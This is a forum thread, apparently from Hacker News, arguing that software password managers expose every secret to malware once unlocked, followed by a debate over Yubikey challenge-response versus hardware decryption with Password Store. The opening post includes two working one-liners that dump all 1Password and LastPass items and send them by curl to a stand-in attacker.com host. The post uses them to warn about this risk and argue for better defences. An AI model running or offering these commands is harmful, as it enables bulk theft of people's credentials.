3 ms·
It is non obvious but important to understand that most password managers, such as 1password, Lastpass, and almost everything else, expose all secrets to malwar
by lrvick 5y ago
It is non obvious but important to understand that most password managers, such as 1password, Lastpass, and almost everything else, expose all secrets to malware in plain text any time the password database is unlocked.
Here are some trivial examples of how malware can steal credentials in bulk.
Example: Exfiltrate all plaintext credentials from 1password
``` op list items | jq -r '.[].uuid' | xargs -n1 bash -c 'op get item "$1"' -- | curl -F 'p=<-' https://attacker.com https://attacker.com >/dev/null 2>&1 ```
Example: Exfiltrate all plaintext credentials from lastpass
``` lpass ls | grep -oP '(?<=id: )([0-9]+)' | xargs -n1 bash -c 'lpass ls | grep "id: $1]"; lpass show $1' -- | curl -F 'p=<-' https://attacker.com https://attacker.com >/dev/null 2>&1 ```
I have seen fake password manager browser plugins deployed in the wild that phish and exfiltrate master passwords, though the above methods are even simpler as they could just run a loop waiting until a password manager is eventually unlocked.
Software-only password managers may be useful for casual personal use cases such as food delivery services or social media accounts, but are not recommended for any use cases that protect any significant value like production corporate systems, and in particularly not for high risk secrets such as cloud root account creds, TLS CAs, or crypto-asset keys (you know who you are).
I would strongly encourage for most use cases to consider secret management solutions that decrypt one credential at a time on external hardware such as Password Store backed with a Yubikey, Trezor password manager, or a Mooltipass.
These offer damage control even when your endpoint is compromised.
- aborsy 5y agoKeepassxc supports Yubikey challenge response. It protects against attack you mentioned.
- lrvick 5y agǒChallenge response does not help much. The database ends up exposed on the workstation.
- aborsy 5y agoIf you require a touch, challenge response behaves exactly same as smart card. In both cases, the database is locked, until you touch where the database is exposed in either case.
- lrvick 5y agoHardware Authentication != Hardware Decryption In challenge response, your password manager has a cosmetic software control that prompts you to authenticate yourself with your Yubikey before it will expose the decryption key which in turn exposes your entire password database. This does not help you in the event your system is compromised, as an attacker would just have a background job that waits until the next time you authenticate and steal all secrets just after. When you use a true hardware encryption solution like Password Store with a Yubikey, it actually encrypts every single secret as individual blobs to a asymmetric public key in the Yubikey. The encryption key never once comes in contact with system memory. Instead a single requested secret is sent to the Yubikey, the decryption is done there in isolated memory and CPU, and then that single plaintext secret is sent back to the OS, provided the user touched the device. To summarize, let's assume your system is compromised with a rootkit by a remote actor. You have 100 secrets stored in both Keepass with Yubikey authentiction, and in Password Store with Yubikey encryption. To steal all your secrets from Keypass they only need to wait for you to tap your Yubikey once to get all 100 secrets, if that. They could just skip that check after all as it is just cosmetic. They have root and can modify any binary they want. Meanwhile in the Password Store setup to get all your 100 secrets your adversary has to trick you into tapping your Yubikey 100 times. Presumably you would notice something was up and have some damage control.
- aborsy 5y agoThis is an important point, and I have written similar comments on HN (about this and other advantages of Pass). Keepass is per database vs GPG is per password. However, it’s not much related to the cryptography. You could write per password databases in keepassxc too, set each with CR and access by command line. You would need one touch per password. Yes, the key and crypto are inside Yubikey with GPG, whereas with CR only the key is inside Yubikey. We can debate which one is better, at the end it’s a second factor used in different ways.
- Terry_Roll 5y agoPassword managers are like the next ransomware target. All your eggs in one basket, doesnt cost much to obtain a selection of the most popular, work out how they work and then just target them.